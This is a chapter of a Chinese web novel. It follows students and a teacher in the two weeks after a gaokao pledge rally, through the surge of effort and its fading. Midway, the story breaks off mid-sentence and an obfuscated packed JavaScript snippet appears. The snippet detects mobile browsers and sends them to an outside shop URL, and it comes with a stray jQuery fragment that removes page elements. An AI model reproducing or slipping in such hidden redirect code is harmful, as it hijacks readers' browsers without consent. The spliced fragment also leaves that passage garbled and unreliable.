誓师大会之后那两周，年级里的教室像被什么东西集体按了一个开关。有人把目标学校的招生简章贴在笔盒内侧——打开盖子，武汉大学的樱花或者北航的飞机就对着你；有人在课桌角贴手写倒计时，细心的用不同颜色的圆珠笔写，一天一撕；有人在玻璃板底下压了张小纸条，歪歪扭扭地写着"提高一分，干掉千人"。后排几个以前爱睡觉的男生，桌上一夜之间多出了咖啡杯——蓝山速溶，一块钱一包，楼下小卖部的，那两周卖断了好几次货。
宋星燃有一天早上进教室，看见了这些东西，停了一下。
然后他在心里想：这种劲，能撑多久。
赵磊撑了三天。
准确地说，是撑了两天，第三天早自习就完了。
誓师大会那天晚上，宋星燃在宿舍翻数学题集，赵磊推门进来。不是来借东西——就是来坐坐。他坐在宋星燃对面的空床上，书包扔脚边，过了一会儿才开口。
"星哥。"
"嗯。"
"那个——你上次说的，物理稳了就别死磕，每科都往上提一点。"他挠了挠后脑勺，"我想了两天，觉得你说得对。但我不知道该从哪科下手。"
宋星燃把题集合上，转过来看着他。"你自己觉得哪科最差。"
"……语文。"
"那就语文。"
赵磊沉默了一下，好像在等一个更复杂的答案——然后意识到，答案本来就这么简单。
"行。"他站起来，把书包捡起来，"那我回去背古文。"
第二天宋问他："背了吗？"
"背了。必修五，《滕王阁序》。"
"背了多少。"
"第一段。一个字一个字背的，背完发现已经一点了。"
宋没说话。
"会背了。"赵磊补了一句，语气是那种很努力的倔强，"我真的会背了。"
第二天也背到很晚。到了第三天早自习，宋星燃刚坐下，就听见旁边传来一声非常细微但非常诚实的鼾声。他侧头一看——赵磊趴在桌上，手边摊着语文必修五，书页折了角，上面铅笔画的断句符号密密麻麻。旁边还压着一张物理卷子，左上角写着67分，有几道题被改了两遍，又改回去了。
他用铅笔戳了一下赵磊的胳膊。
赵磊猛地一抬头，眼睛半睁——没睡醒，但反射弧还在。
"——在呢，我在呢。"
"早读了。"
赵磊看了一眼窗外，又看了一眼黑板，然后看了一眼宋星燃，眼神里有一种无处安放的茫然。
"星哥。"
"嗯。"
"我发现读书比跑三千米还累。"
宋星燃把铅笔收回去。"跑三千米累的是腿。"
"读书累的是脑子。"
"所以你选哪个？"
赵磊沉默了大概两秒钟，把脸重新埋进手臂里。
"……两个都不想选。"
宋星燃没有再戳他。他低头翻开自己的数学题集，翻到昨天没做完的那道解析几何，把演草纸压到题集底下展开。
读书声从走廊那边飘进来——七班还是八班的，一排人齐读英语课文，读到一半读乱了，停了一下，然后重新从头来。
97天。
他在演草纸的角上写了个数字，然后划掉了——不是记倒计时，是顺手写的习惯。划掉了，然后开始演算。
那两周，早上到教室的人悄悄提前了。
以前是七点左右，稀稀拉拉进来一批，七点一刻才算坐满。现在六点四十就有人了——邹成最早，他一直都早，但现在他到的时候，已经有两个人坐在那里背单词。六点五十，教室坐了半数。读书声比以前响了，不止一点，是明显高了一个度，像有人把扩音器拧大了。
张桂兰每天早自习都会进来一次——这是她的惯例，不是因为誓师大会，是她教了二十年高三养成的习惯。但那两周，教室后面饮水机的水桶换得比以前勤。
不是学校后勤换的——是她。她进来，走到饮水机前面，弯腰看一眼还剩多少。快空了，就转身出去，过五分钟拎一桶新的上来。桶是五加仑的，拎上楼的时候塑料提环勒进手指，她不换手。装好，按一下热水阀，等红灯跳成绿灯，然后扫一眼黑板，扫一眼人数，出去。全程不说话。
没有人问为什么。水就在那里，热的。三月的早晨教室里没开暖气，接一杯捧在手里能暖很久。
宋星燃有一次早读结束去接水，低头看见饮水机旁边摞着三只空桶。他接了一杯，一边等，一边数了一下教室里的人。
四十一个人。
他把杯子举起来抿了一口，热的，有点烫嘴。
然后他转身回座位，把空杯子放到桌上，继续看卷子。
两周的时间，是这样过去的。
第一周，班里的气氛是被托着的——一种集体悬在空中的紧绷，有人在上面顶着，大家都不敢先落地。课间操结束之后，回教室的人不再在门口站着聊天；午休有人带了耳机进来，趴下睡了二十分钟，一到时间就起来，没有人再睡过头；下午第四节课，物理周老师出了道压轴大题，往常那个时候后排已经开始走神，那天全班撑着听完了，连平时最爱转笔的男生都把笔竖着插进笔筒，没动。
第二周开始松动。
最先松的是桌上的咖啡。有人发现连喝几天之后，中午不喝就开始头疼——不是提神了，是依赖了，换了个笼子。咖啡还在，但喝的时候已经不是为了撑着，是为了不头疼。后排有人把速溶咖啡换成了风油精——打开瓶盖，薄荷味串出来，搁在桌角，效果可能差不多，便宜一点，也不依赖。
然后是小说。
宋星燃注意到这件事，是因为某天下午最后一节自习课，他抬头接了杯水，经过走廊那侧的座位，余光扫到后排靠墙的那个男生——桌肚里压着一本书，只看得见封面颜色，紫色，是《斗破苍穹》，宋星燃认出来了，因为高二的时候他前桌看过。
那个男生攥着《斗破苍穹》翻了大概一节课，然后合上，拿出卷子，认认真真地做了半节课。
宋星燃回座位的时候，没有说什么。
有些事，不是所有人都适合咬着牙走到底的。能做一半、做到一半，也比一口气憋到头开始走神要好。
苏晚柠没什么变化。
这是宋星燃注意到的另一件事。
班里那两周的热闹，喊口号的喊口号，贴便利贴的贴便利贴，苏晚柠全程没有参与，也没有不参与的意思——她只是坐在那里，英语卷子翻到下一页，铅笔在选项上画圈，完形填空做得非常慢，一道题有时候要看两遍，然后在纸边空白处写几个单词，像在反推出题思路。
宋星燃不记得苏晚柠在誓师之后有没有表现出什么异样的情绪。他认识她够久了，知道她不是那种需要用仪式感撑着自己的人——不是因为她比别人淡定，是因为她早就进到那个状态里了，不需要外力拱一下。
高二的时候她的目标是600分。
上学期全市联考，583。
她现在课桌最左上角的便利贴上写着一个数字：650。
字是她写的，黑色的圆珠笔，写得不大，但写了两遍——第一遍轻，第二遍重，把第一遍的字迹压住了，只剩一道很沉的线。宋星燃有一次坐下的时候侧过头看见了，没有问。
他只是想：650，对她来说，要比691扎实得多。
李可那边的变化，是很细的。
誓师大会之后，她的化学"小题狂做"提升篇换了一本——不是进度到了换，是之前那本被翻得脊背裂了，她用透明胶带沿着书脊粘了一圈，然后继续翻，到某一天这本书彻底不成形了，她才换了新的。
新的那本，第一页还没翻完，后面就有标签了——粉色的方形标签贴纸，她把每一个方程式旁边都贴了一枚，圆珠笔写着题号和对应的课本页码。
宋星燃有一次路过她桌子，站着喝水，把她摊开的书扫了一眼。
满本子的粉色标签，密密麻麻，像一本工具手册。
他没有出声，继续往前走了。
下午，他在心里把她的化学进度估算了一下。按照这个标签密度，她大概每天要过五到六个方程式——不多，但极精准，每一个都对应回了课本章节，不是硬背，是在构建索引。从高二开始，到现在——他停下来，在草稿纸的角落算了个日期，然后把那块角落撕掉了。
不用算。
她在做她能做的事。
公众号那边，誓师之后的两天，后台涌进来一批留言。
宋星燃是在晚自习结束之后，趁宿管没关网，用手机翻的——他没有去网吧，那天太晚了，只是在被子里侧卧，亮度调到最低，一条一条往下翻。
大部分是"谢谢学长"。有人引用他说的那句话——"你付出多少，就能拿回多少"，说自己在笔记本上抄了；有人说"我们班所有人都在找你发言的视频，听说学校摄像头拍了，但一直找不到"；还有一条，发消息的是一个不知道哪个学校的账号，留言只有六个字：
"我看了三遍。"
宋星燃看到这条的时候，停了一下。
然后他回了一个字："好。"
发完，锁屏，把手机塞到枕头底下，闭上眼。宿舍里还有两个人没睡——隔壁床的那个在翻书，窗边的那个在记单词，能听见纸页的声音，和圆珠笔在纸上一点一点压过去的声音。
那两周，整栋宿舍楼熄灯之后，都比以前静。
不是因为大家都睡了——是因为大家在用不那么大的动静，做着还没做完的事。
这种安静，和高二的安静不一样。
高二熄灯之后的安静是真的安静，偶尔有人翻个身，偶尔有人咳嗽，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17652531|206277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
然后一切归于黑暗。
现在的安静是压着的——压着声音，但没有停。
宋星燃把这个细节记在了心里，没有写出来，也没有跟任何人说。
到第二周末，年级里的鸡血大体退了。
退得也没有什么戏剧性——不是什么大事，就是某一天，后排那个男生重新开始转笔，某一天，有人在午休时睡了四十分钟才被推醒，某一天，下午第三节课有人开始走神，然后写了两行字，再度走神，然后趴下了。
只有真正憋着劲的人，才能看出来谁一直没松。
不是因为那些人更厉害，是因为他们从一开始就没有靠仪式感撑着——他们没有喊"提高一分，干掉千人"，没有买速溶咖啡，也没有往笔盒里贴招生简章。他们只是把错题本翻到新的一页，把昨天做错的那道题重新推了一遍，然后接着往下。
宋星燃是其中一个，苏晚柠是其中一个。
赵磊不是。
但赵磊在这两周里把语文必修五的古文背了三篇，把物理三张卷子从67分做到了71分。
宋星燃有一天路过他座位，弯腰把那几张物理卷子翻了翻——71分那张，错题旁边赵磊自己用铅笔写了批注，字歪，但推理步骤没有跳。宋星燃拿起他的铅笔，在两道没写批注的错题旁边添了几行，又把铅笔放回去了。
他没有告诉赵磊这件事。
三月的下旬，县城的树开始抽出新叶。
教室侧窗外面是一排梧桐树，高二的时候夏天来了，叶子密得能把阳光切成碎块。现在是三月末，新叶才刚冒头，枝条还有点秃，但能看出来绿的意思。
某天傍晚放学，宋星燃收书包，收到一半，停了一下。
他侧过头，往窗外看了看那排梧桐树。
绿的。
他把最后一本书塞进书包，拉上拉链，起身走了。
楼道里有人在小声说话，好像在讨论明天的数学测验。下楼的时候，他经过走廊宣传栏——学校每个月换一次内容，上面贴着的是这个月的"优秀学习标兵"，他没有专门去看，但余光扫过，年级第一四个字和他自己的名字一起贴在那里，下面是二寸照片，照的是他高三入学的时候，那时候的刘海比现在长一点。
他在宣传栏前站了大概两秒，然后继续往下走。
楼梯上碰到赵磊，赵磊手里捧着一袋东西从楼下上来，看见他，脸上立刻有了个表情。
"星哥——你吃不吃？"
他把袋子往宋星燃面前一递。辣条，小卖部新进的，五毛一包，袋子上印着红亮亮的油光。
宋星燃伸手拿了一根。"又买十包？"
"八包。"赵磊自己也叼了一根，含含糊糊地说，"上周那个太麻了，吃完整个嘴都不是自己的。"
宋星燃嚼了两下，辣味从舌根窜上来。"这个也没好到哪去。"
"是吗？我觉得还行。"赵磊把袋子卷了卷，夹在腋下，跟着他往楼下走。
"明天数学。"
"嗯。"赵磊顿了顿，"圆锥曲线那几道我过了一遍。"
"设点法那道。"
"……参数老是设反。"赵磊皱了皱眉，不是焦虑的那种——是知道问题在哪但还没改过来的那种，"不过前两道是做对了的。"
宋星燃没回答。他走下两级台阶，停了一下。
"参数设在哪？"
"椭圆上。"
"椭圆上，不是焦点上？"
赵磊沉默了两秒。然后他把辣条咽下去，拍了拍手上的碎屑。"焦点。我检查的时候改了——但第一次写的时候写的是椭圆。"
"嗯。改了就行。"
两人走到教学楼门口。赵磊往小卖部方向拐，宋星燃往宿舍走。
傍晚的风还有点凉，但没有三月初那种切入骨头的感觉了。操场上有几个人在跑步——不是体育课，是自己跑的，校服下摆被风吹起来，三圈两圈，然后停下来，弯腰喘气，再接着跑。
宋星燃走过操场的时候，没有停。
他边走边在心里过了一遍明天的数学测验：解析几何、函数、数列——后两项没问题，解析几何最后一道有一道他觉得今年会考运动轨迹和定点，他昨晚推了两遍，路径清楚了，但计算量大，要盯着别算错。
97天变成了80天。
他没有刻意去想这个数字变化得多快。
只是走到宿舍楼门口，抬头，走进去。
楼梯上有人在背单词，声音是从嗓子里压出来的，力道很均匀，一个词一个词，每个停顿的间距都一样。宋星燃经过的时候，那个声音没有停——他们各走各的路，谁也没有打扰谁。
楼道灯还有十分钟关。
他推开宿舍门，书包放桌上，拿出明天数学测验要用的演草本，摊开，把草稿压整了。
然后他拿起笔，低下头，接着算。